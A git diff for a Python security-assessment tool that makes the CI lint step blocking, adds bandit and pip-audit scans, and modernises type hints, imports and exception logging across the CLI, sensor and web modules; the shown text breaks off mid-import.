diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4443490..57a0523 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -39,12 +39,17 @@ jobs: run: secfoo vendor mermaid - name: Lint (ruff) - # Non-blocking for now: 102 pre-existing findings (mostly Optional[X] - # vs X | None style, plus a few unused test fixtures) predate this - # workflow. Reporting them here for visibility without turning every - # unrelated PR red; flip to a hard failure once that backlog is - # cleared (tracked separately from this CI/CD setup). - run: ruff check . || true + run: ruff check . + + - name: Security scan (bandit) + run: bandit -r src/secfoo -c .bandit -ll + + - name: Dependency audit (pip-audit) + # Run on Python 3.12 where patched transitive wheels (pillow/filelock/setuptools) + # are published; Python 3.10 cannot resolve >=3.11-only security releases. + # Add accepted advisories as `--ignore-vuln CVE-... # YYYY-MM-DD: reason` + if: matrix.python-version == '3.12' + run: pip-audit - name: Test (secfoo core) run: pytest tests diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 8a54dd0..5dc2141 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -17,12 +17,16 @@ Requires Python 3.10+. ## Running the tests +Run the full pre-PR checklist before opening a pull request: + ```sh pytest tests ruff check . +bandit -r src/secfoo -c .bandit -ll +pip-audit ``` -CI runs both on every push and PR, on Python 3.10 and 3.12. +CI runs all four blocking on every push and PR, on Python 3.10 and 3.12. The text parsers (report severities, skill frontmatter, severity filters) also have property-based tests in `tests/test_property_parsers.py` diff --git a/pyproject.toml b/pyproject.toml index 1d08faf..95bf151 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -67,7 +67,7 @@ dependencies = [ ] [project.optional-dependencies] -dev = ["jsonschema>=4.26.0", "pytest>=9.2.0", "hypothesis>=6.168.5", "httpx>=0.28.1", "ruff>=0.17.5", "bandit>=1.9.4", "pip-audit>=2.10.1", "langgraph>=1.2.21"] +dev = ["jsonschema>=4.26.0", "pytest>=9.2.0", "hypothesis>=6.168.5", "httpx>=0.28.1", "ruff==0.17.5", "bandit>=1.9.4", "pip-audit>=2.10.1", "langgraph>=1.2.21"] build = ["pyinstaller>=6.22.3"] # The `api` agent (secfoo/agents/api.py): a LangGraph workflow that calls OpenAI/Anthropic/Gemini # through LiteLLM with an API key instead of driving an installed agent CLI. @@ -109,3 +109,19 @@ packages = ["src/secfoo"] [tool.pytest.ini_options] testpaths = ["tests"] + +[tool.ruff.lint.flake8-bugbear] +# FastAPI and Typer use function calls (Option/Argument/Form/File/Depends) in +# parameter defaults as their standard dependency-injection syntax. +extend-immutable-calls = [ + "fastapi.Depends", + "fastapi.File", + "fastapi.Form", + "fastapi.Query", + "typer.Argument", + "typer.Option", +] + +[tool.ruff.lint.per-file-ignores] +# typing.Self is Python 3.11+ only and typing_extensions is not a runtime dep. +"src/secfoo/storage/repository.py" = ["PYI034"] diff --git a/scripts/sync_design_system.py b/scripts/sync_design_system.py old mode 100644 new mode 100755 diff --git a/src/secfoo/agents/__init__.py b/src/secfoo/agents/__init__.py index 0bf63df..97ddec7 100644 --- a/src/secfoo/agents/__init__.py +++ b/src/secfoo/agents/__init__.py @@ -1,4 +1,4 @@ from secfoo.agents.base import AgentAdapter, AgentResult from secfoo.agents.registry import ADAPTERS, get_adapter -__all__ = ["AgentAdapter", "AgentResult", "ADAPTERS", "get_adapter"] +__all__ = ["ADAPTERS", "AgentAdapter", "AgentResult", "get_adapter"] diff --git a/src/secfoo/agents/registry.py b/src/secfoo/agents/registry.py index 9303107..c285007 100644 --- a/src/secfoo/agents/registry.py +++ b/src/secfoo/agents/registry.py @@ -4,8 +4,8 @@ from secfoo.agents.api import ApiAdapter from secfoo.agents.base import AgentAdapter from secfoo.agents.claude import ClaudeAdapter -from secfoo.agents.copilot import CopilotAdapter from secfoo.agents.codex import CodexAdapter +from secfoo.agents.copilot import CopilotAdapter from secfoo.agents.cursor import CursorAdapter from secfoo.agents.devin import DevinAdapter from secfoo.agents.droid import DroidAdapter diff --git a/src/secfoo/cli.py b/src/secfoo/cli.py index be29a42..945b83b 100644 --- a/src/secfoo/cli.py +++ b/src/secfoo/cli.py @@ -8,7 +8,7 @@ from datetime import date, datetime, timezone from enum import Enum from pathlib import Path -from typing import Annotated, Optional +from typing import Annotated import typer from rich.console import Console @@ -109,7 +109,7 @@ def _now_iso() -> str: return datetime.now(timezone.utc).isoformat() -def _validate_date(value: Optional[str]) -> Optional[str]: +def _validate_date(value: str | None) -> str | None: """Typer callback for the `--expires-at` / `--discovered-at` style options that are documented as YYYY-MM-DD: rejects anything that doesn't parse as that shape at input time. @@ -290,13 +290,13 @@ def run( help="Skip the confirmation before running a skill that isn't a built-in or a file under " "~/.secfoo/skills/ (a non-interactive run, e.g. --json or CI, always skips it).", )] = False, - target: Optional[str] = typer.Option( + target: str | None = typer.Option( None, "--target", "-t", help="GitHub URL or local directory. Defaults to the current directory." ), confluence: list[str] = typer.Option( [], "--confluence", "-c", help="Confluence page URL for extra context. Repeatable." ), - agent: Optional[AgentId] = typer.Option( + agent: AgentId | None = typer.Option( None, "--agent", "-a", @@ -304,7 +304,7 @@ def run( "~/.secfoo/config.toml, then to claude.", ), model: str | None = typer.Option(None, "--model", help="Model for this run; overrides [agents.].model."), - depth: Optional[DepthId] = typer.Option( + depth: DepthId | None = typer.Option( None, "--depth", "-d", @@ -312,19 +312,19 @@ def run( "standard: thorough, full checklist coverage, takes longer. Falls back to " "[defaults].depth in ~/.secfoo/config.toml, then to quick.", ), - timeout: Optional[int] = typer.Option( + timeout: int | None = typer.Option( None, "--timeout", help="Per-skill timeout in seconds. Falls back to [defaults].timeout in " "~/.secfoo/config.toml, then to the agent's own default.", ), - assessment: Optional[int] = typer.Option( + assessment: int | None = typer.Option( None, "--assessment", help="Attach this run to an existing assessment case file. " "See `secfoo assessment create`.", ), - project_name: Optional[str] = typer.Option( + project_name: str | None = typer.Option( None, "--project-name", help="Friendly name for this project, shown across the dashboard instead " @@ -332,7 +332,7 @@ def run( "assessment is being auto-created); prompted for interactively if left " "unset on a terminal.", ), - app_id: Optional[str] = typer.Option( + app_id: str | None = typer.Option( None, "--app-id", help="Application ID to record on the auto-created assessment (e.g. from " @@ -347,14 +347,14 @@ def run( "checked-out repo). Repeatable, and added on top of [defaults].exclude " "in ~/.secfoo/config.toml and the built-in exclusions.", ), - fail_on: Optional[FailOn] = typer.Option( + fail_on: FailOn | None = typer.Option( None, "--fail-on", help="Exit 2 if any run reports a finding at this severity or worse " "(critical|high|medium|low). Falls back to [defaults].fail_on in " "~/.secfoo/config.toml; unset means findings never fail the command.", ), - max_cost: Optional[float] = typer.Option( + max_cost: float | None = typer.Option( None, "--max-cost", min=0.0, @@ -702,9 +702,9 @@ def _runtime_summary_line(outcomes) -> str | None: @app.command(name="list") def list_runs( - project: Optional[str] = typer.Option(None, "--project", "-p", help="Filter by project name/URL substring."), + project: str | None = typer.Option(None, "--project", "-p", help="Filter by project name/URL substring."), limit: int = typer.Option(50, "--limit", help="Maximum runs to show."), - status: Optional[str] = typer.Option(None, "--status", help="Filter by run status."), + status: str | None = typer.Option(None, "--status", help="Filter by run status."), ) -> None: """List past assessment runs.""" with RunRepository() as repo: @@ -854,15 +854,18 @@ def _start_runtime_recheck(hours: float) -> None: import threading def loop() -> None: + import logging + from secfoo.runtime.inventory import recheck + log = logging.getLogger(__name__) stop = threading.Event() while not stop.wait(hours * 3600): try: with RunRepository() as repo: recheck(repo) - except Exception: # noqa: BLE001, S112 -- OSV down or a bad row: try again next interval - continue + except Exception: # OSV down or a bad row: log and try again next interval + log.debug("runtime OSV recheck failed; retrying next interval", exc_info=True) threading.Thread(target=loop, name="secfoo-runtime-recheck", daemon=True).start() @@ -946,10 +949,10 @@ class CostGroup(str, Enum): @app.command() def cost( by: CostGroup = typer.Option(CostGroup.AGENT, "--by", help="Group spend by agent, skill, or project."), - since: Optional[str] = typer.Option( + since: str | None = typer.Option( None, "--since", help="Only count runs started on or after this date, YYYY-MM-DD.", callback=_validate_date ), - project: Optional[str] = typer.Option( + project: str | None = typer.Option( None, "--project", "-p", help="Only count one project (name/URL substring)." ), ) -> None: @@ -1010,22 +1013,22 @@ def cost( @assessment_app.command(name="create") def assessment_create( - project: Optional[str] = typer.Option( + project: str | None = typer.Option( None, "--project", "-p", help="Public GitHub repo URL or local directory. Defaults to the current directory.", ), - name: Optional[str] = typer.Option( + name: str | None = typer.Option( None, "--name", help="Friendly project name to display. Defaults to the name derived from --project." ), assessment_type: AssessmentTypeId = typer.Option(..., "--type", help="internal or third-party."), status: AssessmentStatusId = typer.Option(AssessmentStatusId.READY.value, "--status"), - app_id: Optional[str] = typer.Option(None, "--app-id", help="Application ID."), - sar: Optional[str] = typer.Option(None, "--sar", help="Security Assessment Request number."), - reviewer: Optional[str] = typer.Option(None, "--reviewer"), - review_date: Optional[str] = typer.Option(None, "--review-date"), - notes: Optional[str] = typer.Option(None, "--notes"), + app_id: str | None = typer.Option(None, "--app-id", help="Application ID."), + sar: str | None = typer.Option(None, "--sar", help="Security Assessment Request number."), + reviewer: str | None = typer.Option(None, "--reviewer"), + review_date: str | None = typer.Option(None, "--review-date"), + notes: str | None = typer.Option(None, "--notes"), ) -> None: """Create a new assessment case file that runs (and file attachments) can attach to.""" try: @@ -1051,9 +1054,9 @@ def assessment_create( @assessment_app.command(name="list") def assessment_list( - assessment_type: Optional[AssessmentTypeId] = typer.Option(None, "--type"), - status: Optional[AssessmentStatusId] = typer.Option(None, "--status"), - search: Optional[str] = typer.Option(None, "--search"), + assessment_type: AssessmentTypeId | None = typer.Option(None, "--type"), + status: AssessmentStatusId | None = typer.Option(None, "--status"), + search: str | None = typer.Option(None, "--search"), ) -> None: """List assessment case files.""" with RunRepository() as repo: @@ -1139,12 +1142,12 @@ def assessment_show(assessment_id: int) -> None: @assessment_app.command(name="update") def assessment_update( assessment_id: int, - status: Optional[AssessmentStatusId] = typer.Option(None, "--status"), - app_id: Optional[str] = typer.Option(None, "--app-id"), - sar: Optional[str] = typer.Option(None, "--sar"), - reviewer: Optional[str] = typer.Option(None, "--reviewer"), - review_date: Optional[str] = typer.Option(None, "--review-date"), - notes: Optional[str] = typer.Option(None, "--notes"), + status: AssessmentStatusId | None = typer.Option(None, "--status"), + app_id: str | None = typer.Option(None, "--app-id"), + sar: str | None = typer.Option(None, "--sar"), + reviewer: str | None = typer.Option(None, "--reviewer"), + review_date: str | None = typer.Option(None, "--review-date"), + notes: str | None = typer.Option(None, "--notes"), ) -> None: """Update fields on an existing assessment.""" fields: dict[str, object] = {} @@ -1229,7 +1232,7 @@ def assessment_delete(assessment_id: int) -> None: @exception_app.command(name="create") def exception_create( - project: Optional[str] = typer.Option( + project: str | None = typer.Option( None, "--project", "-p", help="Public GitHub repo URL or local directory. Defaults to the current directory." ), title: str = typer.Option(..., "--title", help="Short description of what's being accepted."), @@ -1238,10 +1241,10 @@ def exception_create( expires_at: str = typer.Option( ..., "--expires-at", help="Expiry date, YYYY-MM-DD.", callback=_validate_date ), - standard_or_control: Optional[str] = typer.Option( + standard_or_control: str | None = typer.Option( None, "--control", help="CCM domain code or standard clause this exception covers, e.g. IAM or 'SOC 2 CC6.1'." ), - assessment_id: Optional[int] = typer.Option(None, "--assessment", help="Optionally scope to one assessment."), + assessment_id: int | None = typer.Option(None, "--assessment", help="Optionally scope to one assessment."), ) -> None: """Grant a risk acceptance / waiver against a project.""" try: @@ -1264,7 +1267,7 @@ def exception_create( @exception_app.command(name="list") def exception_list( - status: Optional[str] = typer.Option(None, "--status", help="active or revoked."), + status: str | None = typer.Option(None, "--status", help="active or revoked."), ) -> None: """List exceptions, soonest-expiring first.""" with RunRepository() as repo: @@ -1316,11 +1319,11 @@ def exception_show(exception_id: int) -> None: @exception_app.command(name="update") def exception_update( exception_id: int, - status: Optional[str] = typer.Option(None, "--status", help="active or revoked."), - expires_at: Optional[str] = typer.Option( + status: str | None = typer.Option(None, "--status", help="active or revoked."), + expires_at: str | None = typer.Option( None, "--expires-at", help="Expiry date, YYYY-MM-DD.", callback=_validate_date ), - justification: Optional[str] = typer.Option(None, "--justification"), + justification: str | None = typer.Option(None, "--justification"), ) -> None: """Update an exception -- e.g. revoke it, or extend its expiry.""" fields: dict[str, object] = {} @@ -1356,16 +1359,16 @@ def exception_delete(exception_id: int) -> None: @miss_app.command(name="create") def miss_create( - project: Optional[str] = typer.Option( + project: str | None = typer.Option( None, "--project", "-p", help="Public GitHub repo URL or local directory. Defaults to the current directory." ), title: str = typer.Option(..., "--title", help="What was found."), discovered_at: str = typer.Option( ..., "--discovered-at", help="When it was found, YYYY-MM-DD.", callback=_validate_date ), - description: Optional[str] = typer.Option(None, "--description"), - discovered_by: Optional[str] = typer.Option(None, "--discovered-by", help="Who/what found it (incident, pen test, ...)."), - run: Optional[str] = typer.Option(None, "--run", help="Run UUID of the threat model that should have caught this, if known."), + description: str | None = typer.Option(None, "--description"), + discovered_by: str | None = typer.Option(None, "--discovered-by", help="Who/what found it (incident, pen test, ...)."), + run: str | None = typer.Option(None, "--run", help="Run UUID of the threat model that should have caught this, if known."), ) -> None: """Record a threat found after build that an earlier threat model missed. @@ -1446,17 +1449,17 @@ def miss_delete(finding_id: int) -> None: @accept_app.command(name="create") def accept_create( - project: Optional[str] = typer.Option( + project: str | None = typer.Option( None, "--project", "-p", help="Public GitHub repo URL or local directory. Defaults to the current directory." ), threat_id: str = typer.Option(..., "--threat-id", help="The Threat Register row ID from the report, e.g. T4."), title: str = typer.Option(..., "--title", help="Short description of the threat being accepted."), justification: str = typer.Option(..., "--justification", help="Why this risk is being accepted."), accepted_by: str = typer.Option(..., "--accepted-by", help="Who is accepting this risk."), - expires_at: Optional[str] = typer.Option( + expires_at: str | None = typer.Option( None, "--expires-at", help="Optional review-by date, YYYY-MM-DD.", callback=_validate_date ), - run: Optional[str] = typer.Option(None, "--run", help="Run UUID this threat came from, if known."), + run: str | None = typer.Option(None, "--run", help="Run UUID this threat came from, if known."), ) -> None: """Record a human risk acceptance for one threat from a Threat Register. @@ -1487,7 +1490,7 @@ def accept_create( @accept_app.command(name="list") def accept_list( - status: Optional[str] = typer.Option(None, "--status", help="active or revoked."), + status: str | None = typer.Option(None, "--status", help="active or revoked."), ) -> None: """List recorded threat acceptances, most recent first.""" with RunRepository() as repo: @@ -1531,11 +1534,11 @@ def accept_show(acceptance_id: int) -> None: @accept_app.command(name="update") def accept_update( acceptance_id: int, - status: Optional[str] = typer.Option(None, "--status", help="active or revoked."), - expires_at: Optional[str] = typer.Option( + status: str | None = typer.Option(None, "--status", help="active or revoked."), + expires_at: str | None = typer.Option( None, "--expires-at", help="Review-by date, YYYY-MM-DD.", callback=_validate_date ), - justification: Optional[str] = typer.Option(None, "--justification"), + justification: str | None = typer.Option(None, "--justification"), ) -> None: """Update a threat acceptance -- e.g. revoke it, or extend its review date.""" fields: dict[str, object] = {} @@ -1683,8 +1686,8 @@ def _memory_whoami_line(info: dict) -> str: @memory_app.command(name="signup") def memory_signup( - email: Optional[str] = typer.Option(None, "--email", help="Where to send the one-time verification code."), - code: Optional[str] = typer.Option( + email: str | None = typer.Option(None, "--email", help="Where to send the one-time verification code."), + code: str | None = typer.Option( None, "--code", help="The emailed code, for a non-interactive second step (skips sending a new one)." ), url: str = typer.Option( @@ -1788,7 +1791,7 @@ def memory_status() -> None: class FindingsSkill(str, Enum): SAST = "sast" SCA = "sca-reachability" - SECRET = "secret-scanning" + SECRET = "secret-scanning" # nosec B105 -- skill identifier enum value, not a password class FindingsStatus(str, Enum): @@ -1810,9 +1813,9 @@ class FindingsFormat(str, Enum): @findings_app.command(name="export") def findings_export( skill: list[FindingsSkill] = typer.Option([], "--skill", "-s", help="Limit to these skills. Repeatable."), - project: Optional[int] = typer.Option(None, "--project", help="Limit to one project id."), + project: int | None = typer.Option(None, "--project", help="Limit to one project id."), status: FindingsStatus = typer.Option(FindingsStatus.OPEN, "--status", help="open, closed, or all."), - output: Optional[Path] = typer.Option(None, "--output", "-o", help="Write the export here instead of stdout."), + output: Path | None = typer.Option(None, "--output", "-o", help="Write the export here instead of stdout."), format: Annotated[FindingsFormat, typer.Option("--format", help="Export format: jsonl or sarif.")] = FindingsFormat.JSONL, no_locations: bool = typer.Option( False, "--no-locations", @@ -2528,7 +2531,7 @@ def vendor_mermaid( url = MERMAID_CDN_URL console.print(f"Downloading {url} ...") try: - with urllib.request.urlopen(url, timeout=60) as response: # noqa: S310 # nosec B310 -- pinned https CDN URL for mermaid bundle + with urllib.request.urlopen(url, timeout=60) as response: # nosec B310 -- pinned https CDN URL for mermaid bundle payload = response.read() except (urllib.error.URLError, TimeoutError) as exc: err_console.print(f"[red]Download failed:[/] {exc}") diff --git a/src/secfoo/cloud.py b/src/secfoo/cloud.py index 9792323..1c0ef06 100644 --- a/src/secfoo/cloud.py +++ b/src/secfoo/cloud.py @@ -134,7 +134,7 @@ def _request(url: str, *, api_key: str, payload: dict | None = None) -> dict: headers["Content-Type"] = "application/json" request = urllib.request.Request(url, data=data, headers=headers) try: - with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response: # noqa: S310 # nosec B310 -- user-configured portal URL, same trust as MCP settings + with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response: # nosec B310 -- user-configured portal URL, same trust as MCP settings return json.loads(response.read().decode("utf-8")) except urllib.error.HTTPError as exc: detail = exc.read().decode("utf-8", errors="replace") diff --git a/src/secfoo/docext.py b/src/secfoo/docext.py index 7795ffd..571b48d 100644 --- a/src/secfoo/docext.py +++ b/src/secfoo/docext.py @@ -52,7 +52,7 @@ def extract_text(path: Path) -> str: return _extract_docx(path) if suffix == ".pptx": return _extract_pptx(path) - except Exception: + except Exception: # noqa: BLE001 -- third-party PDF/DOCX/PPTX parsers raise arbitrary errors; callers treat "" as non-extractable return "" return "" diff --git a/src/secfoo/mcp.py b/src/secfoo/mcp.py index b33cd18..10c7829 100644 --- a/src/secfoo/mcp.py +++ b/src/secfoo/mcp.py @@ -94,7 +94,7 @@ def write_claude_mcp_config(servers: list[MCPServerConfig]) -> Path | None: def _gemini_existing_names() -> set[str]: - proc = subprocess.run(["gemini", "mcp", "list"], capture_output=True, text=True, timeout=30) + proc = subprocess.run(["gemini", "mcp", "list"], capture_output=True, text=True, timeout=30, check=False) names = set() for line in proc.stdout.splitlines(): match = _GEMINI_LIST_NAME_RE.match(line.strip()) @@ -124,7 +124,7 @@ def sync_gemini(servers: list[MCPServerConfig]) -> list[SyncResult]: if server.name in existing: results.append(SyncResult(server.name, True, "already configured, skipped")) continue - proc = subprocess.run(_gemini_add_command(server), capture_output=True, text=True, timeout=30) + proc = subprocess.run(_gemini_add_command(server), capture_output=True, text=True, timeout=30, check=False) if proc.returncode == 0: results.append(SyncResult(server.name, True, "added")) else: @@ -157,7 +157,7 @@ def sync_cursor(servers: list[MCPServerConfig]) -> list[SyncResult]: if newly_added: CURSOR_MCP_CONFIG_PATH.write_text(json.dumps({"mcpServers": existing}, indent=2), encoding="utf-8") for name in newly_added: - proc = subprocess.run(["agent", "mcp", "enable", name], capture_output=True, text=True, timeout=30) + proc = subprocess.run(["agent", "mcp", "enable", name], capture_output=True, text=True, timeout=30, check=False) if proc.returncode != 0: for result in results: if result.server_name == name: diff --git a/src/secfoo/memory.py b/src/secfoo/memory.py index c4b4948..de67df4 100644 --- a/src/secfoo/memory.py +++ b/src/secfoo/memory.py @@ -179,7 +179,7 @@ def _request(url: str, *, payload: dict | None = None, api_key: str | None = Non headers["Content-Type"] = "application/json" request = urllib.request.Request(url, data=data, headers=headers) try: - with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response: # noqa: S310 # nosec B310 -- user-configured memory URL, same trust as MCP settings + with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response: # nosec B310 -- user-configured memory URL, same trust as MCP settings return json.loads(response.read().decode("utf-8") or "{}") except urllib.error.HTTPError as exc: detail = exc.read().decode("utf-8", errors="replace") diff --git a/src/secfoo/osv.py b/src/secfoo/osv.py index a6876f9..ca22026 100644 --- a/src/secfoo/osv.py +++ b/src/secfoo/osv.py @@ -77,7 +77,7 @@ def query_osv(ecosystem: str, package: str, version: str) -> list[dict]: OSV_API_URL, data=body, headers={"Content-Type": "application/json"}, method="POST" ) try: - with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response: # noqa: S310 # nosec B310 -- hardcoded public OSV.dev API URL + with urllib.request.urlopen(request, timeout=REQUEST_TIMEOUT_SECONDS) as response: # nosec B310 -- hardcoded public OSV.dev API URL data = json.loads(response.read().decode("utf-8")) except urllib.error.HTTPError as exc: detail = exc.read().decode("utf-8", errors="replace") diff --git a/src/secfoo/runner.py b/src/secfoo/runner.py index 06e3f76..606e1d7 100644 --- a/src/secfoo/runner.py +++ b/src/secfoo/runner.py @@ -53,10 +53,11 @@ def _git_head_commit(path: Path) -> str | None: try: result = subprocess.run( ["git", "-C", str(path), "rev-parse", "HEAD"], - capture_output=True, text=True, timeout=10, + capture_output=True, text=True, timeout=10, check=False, ) return result.stdout.strip() if result.returncode == 0 else None except Exception: + logger.debug("could not read git HEAD commit for %s", path, exc_info=True) return None @@ -129,8 +130,7 @@ class RunOutcome: def _project_display_name(resolved: ResolvedTarget) -> str: if resolved.is_temporary: cleaned = resolved.display_name.rstrip("/") - if cleaned.endswith(".git"): - cleaned = cleaned[: -len(".git")] + cleaned = cleaned.removesuffix(".git") match = re.search(r"(?:https?://[^/]+/|git@[^:]+:)(.+)$", cleaned) return match.group(1) if match else cleaned return Path(resolved.display_name).name or resolved.display_name @@ -148,7 +148,7 @@ def _try_cloud_sync(repo: RunRepository, run_uuid: str) -> None: return cloud.sync_run(repo, run_uuid, config) except Exception: - pass + logger.debug("best-effort cloud sync failed for run %s", run_uuid, exc_info=True) def _try_osv_enrich(repo: RunRepository, report_text: str) -> None: @@ -165,7 +165,7 @@ def _try_osv_enrich(repo: RunRepository, report_text: str) -> None: if keys: osv.enrich_lookups(repo, list(keys)) except Exception: - pass + logger.debug("best-effort OSV enrichment failed", exc_info=True) def _stack_fields(stack: Stack | None, language: str | None) -> dict[str, str | None]: @@ -411,7 +411,8 @@ def _target_workdir(resolved: ResolvedTarget) -> Iterator[Path]: with clone_forge(resolved.display_name, kind=resolved.kind) as tmp_dir: yield tmp_dir else: - assert resolved.path is not None + if resolved.path is None: + raise RuntimeError(f"Local target {resolved.display_name!r} has no resolved path") yield resolved.path diff --git a/src/secfoo/sensor/probe.py b/src/secfoo/sensor/probe.py index e0134c4..5845cef 100644 --- a/src/secfoo/sensor/probe.py +++ b/src/secfoo/sensor/probe.py @@ -24,6 +24,7 @@ import atexit import importlib.abc import json +import logging import os import sys import sysconfig @@ -38,6 +39,7 @@ WATCHLIST_RECHECK_SECONDS = 30.0 MAX_STACK_FRAMES = 10 _TOOL_NAME = "secfoo-sensor" +_log = logging.getLogger(__name__) def _now() -> str: @@ -126,8 +128,8 @@ def stop(self) -> None: sys.setprofile(None) threading.setprofile(None) # type: ignore[arg-type] self.transport.close() - except Exception: # noqa: BLE001, S110 -- shutting down; never raise into the app - pass + except Exception: # noqa: BLE001 -- shutting down; log at debug and never raise into the app + _log.debug("secfoo sensor shutdown error", exc_info=True) def _after_fork(self) -> None: """A forked worker (gunicorn, multiprocessing) is its own session.""" @@ -154,7 +156,7 @@ def _disable(self, exc: BaseException) -> None: sys.setprofile(None) print(f"secfoo sensor: disabled after an internal error ({exc.__class__.__name__}); " "the app is unaffected", file=sys.stderr) - except Exception: # noqa: BLE001, S110 -- never raise into the app + except Exception: # noqa: BLE001, S110 # nosec B110 -- last-resort fail-open guard inside error handler pass # ---------- watchlist ---------- @@ -342,7 +344,8 @@ def _loads(self) -> list[dict]: _VERSIONS[dist] = version(dist) loads.append({"type": "load", "session": self.session_id, "ecosystem": "PyPI", "package": dist, "version": _VERSIONS[dist], "first_seen": self.started_at}) - except Exception: # noqa: BLE001, S112 -- broken package metadata: skip it + except Exception: # noqa: BLE001 -- broken package metadata: log at debug and skip it + _log.debug("skipping broken package metadata for %s", dist, exc_info=True) continue return loads diff --git a/src/secfoo/skills/__init__.py b/src/secfoo/skills/__init__.py index af7d04a..8776faf 100644 --- a/src/secfoo/skills/__init__.py +++ b/src/secfoo/skills/__init__.py @@ -4,8 +4,8 @@ __all__ = [ "Skill", "SkillLoadError", + "TargetContext", "load_all_skills", "load_skill", - "TargetContext", "render_prompt", ] diff --git a/src/secfoo/storage/repository.py b/src/secfoo/storage/repository.py index a400fa0..d0ffc75 100644 --- a/src/secfoo/storage/repository.py +++ b/src/secfoo/storage/repository.py @@ -217,7 +217,7 @@ def _migrate_attachment_kind_check(self) -> None: def close(self) -> None: self._conn.close() - def __enter__(self) -> "RunRepository": + def __enter__(self) -> RunRepository: return self def __exit__(self, *exc: object) -> None: @@ -556,7 +556,7 @@ def cost_summary(self, *, group_by: str, project_id: int | None = None, since: s "project": "projects.display_name", }[group_by] query = ( - f"SELECT {group_sql} AS label, COUNT(*) AS runs, " + f"SELECT {group_sql} AS label, COUNT(*) AS runs, " # nosec B608 -- group_sql from fixed dict above # No COALESCE here: SQLite's SUM() already returns NULL (not 0) # when every value in the group is NULL, and that distinction is # exactly "unknown" vs "zero" -- collapsing it to 0 is SECFOO-34. diff --git a/src/secfoo/targets/__init__.py b/src/secfoo/targets/__init__.py index 6879709..9979a1a 100644 --- a/src/secfoo/targets/__init__.py +++ b/src/secfoo/targets/__init__.py @@ -12,8 +12,8 @@ "ResolvedTarget", "TargetKind", "TargetResolutionError", + "clone_shallow", "is_github_url", "looks_like_url", "resolve_target", - "clone_shallow", ] diff --git a/src/secfoo/web/app.py b/src/secfoo/web/app.py index eb7f67f..56130e5 100644 --- a/src/secfoo/web/app.py +++ b/src/secfoo/web/app.py @@ -4,7 +4,6 @@ from fastapi import FastAPI from fastapi.staticfiles import StaticFiles -from starlette.responses import PlainTextResponse from secfoo.config import STORE_DIR from secfoo.runtime import api as runtime_api diff --git a/src/secfoo/web/architecture_dashboard.py b/src/secfoo/web/architecture_dashboard.py index 7a6536f..1bebdbe 100644 --- a/src/secfoo/web/architecture_dashboard.py +++ b/src/secfoo/web/architecture_dashboard.py @@ -29,7 +29,11 @@ extract_verdict_counts, ) from secfoo.storage.repository import RunRepository -from secfoo.web.dashboard_common import append_boundary_changed_projects, percentile, read_report +from secfoo.web.dashboard_common import ( + append_boundary_changed_projects, + percentile, + read_report, +) SKILL_ID = "security-architecture-review" diff --git a/src/secfoo/web/dashboard_common.py b/src/secfoo/web/dashboard_common.py index 8b4a1c3..7f6ac57 100644 --- a/src/secfoo/web/dashboard_common.py +++ b/src/secfoo/web/dashboard_common.py @@ -16,7 +16,7 @@ def percentile(values: list[float], pct: float) -> float | None: if not values: return None ordered = sorted(values) - index = min(len(ordered) - 1, int(round(pct / 100 * (len(ordered) - 1)))) + index = min(len(ordered) - 1, round(pct / 100 * (len(ordered) - 1))) return ordered[index] diff --git a/src/secfoo/web/routes/activities.py b/src/secfoo/web/routes/activities.py index 8adc07f..34f0ea4 100644 --- a/src/secfoo/web/routes/activities.py +++ b/src/secfoo/web/routes/activities.py @@ -30,10 +30,12 @@ from secfoo.skills.loader import SkillLoadError, load_skill from secfoo.storage.repository import RunRepository from secfoo.web import architecture_dashboard as arch_dashboard -from secfoo.web import finding_filters -from secfoo.web import sast_dashboard -from secfoo.web import sca_dashboard -from secfoo.web import secret_scanning_dashboard +from secfoo.web import ( + finding_filters, + sast_dashboard, + sca_dashboard, + secret_scanning_dashboard, +) from secfoo.web import threat_modeling_dashboard as tm_dashboard from secfoo.web.templating import severity_rows, templates diff --git a/src/secfoo/web/routes/assessments.py b/src/secfoo/web/routes/assessments.py index d6e84c7..4b59406 100644 --- a/src/secfoo/web/routes/assessments.py +++ b/src/secfoo/web/routes/assessments.py @@ -4,7 +4,6 @@ import tempfile import threading from pathlib import Path -from typing import Optional from urllib.parse import urlencode from fastapi import APIRouter, Form, HTTPException, Request, UploadFile @@ -22,7 +21,12 @@ from secfoo.storage.repository import RunRepository from secfoo.targets.resolver import TargetResolutionError, resolve_target from secfoo.web.run_status import assessment_pipeline -from secfoo.web.templating import SIDEBAR_ACTIVITY_IDS, ordered_skills, severity_rows, templates +from secfoo.web.templating import ( + SIDEBAR_ACTIVITY_IDS, + ordered_skills, + severity_rows, + templates, +) from secfoo.web.third_party_dashboard import SKILL_ID as THIRD_PARTY_RISK_SKILL_ID router = APIRouter() @@ -159,12 +163,12 @@ def _list_query(**params: object) -> str: @router.get("/assessments") def assessments_list( request: Request, - type: Optional[str] = None, # noqa: A002 -- matches the query param name - status: Optional[str] = None, - q: Optional[str] = None, - sort: Optional[str] = None, - updated: Optional[int] = None, - updated_to: Optional[str] = None, + type: str | None = None, + status: str | None = None, + q: str | None = None, + sort: str | None = None, + updated: int | None = None, + updated_to: str | None = None, ): """Sorting happens in Python over the rows the page already shows (list_assessments' most-recently-updated cap), which keeps the @@ -203,7 +207,7 @@ def assessments_list( def assessments_bulk_status( ids: list[int] = Form(default_factory=list), new_status: str = Form(...), - type: str = Form(""), # noqa: A002 -- the list's current filters, to return to the same view + type: str = Form(""), status: str = Form(""), q: str = Form(""), sort: str = Form(""), diff --git a/src/secfoo/web/routes/runs.py b/src/secfoo/web/routes/runs.py index 24e6f3f..fa66870 100644 --- a/src/secfoo/web/routes/runs.py +++ b/src/secfoo/web/routes/runs.py @@ -8,7 +8,12 @@ from secfoo.config import STORE_DIR from secfoo.report.markdown import render_report_html from secfoo.storage.repository import RunRepository -from secfoo.web.run_status import ACTIVE_STATUSES, blocked_hint, elapsed_seconds, run_steps +from secfoo.web.run_status import ( + 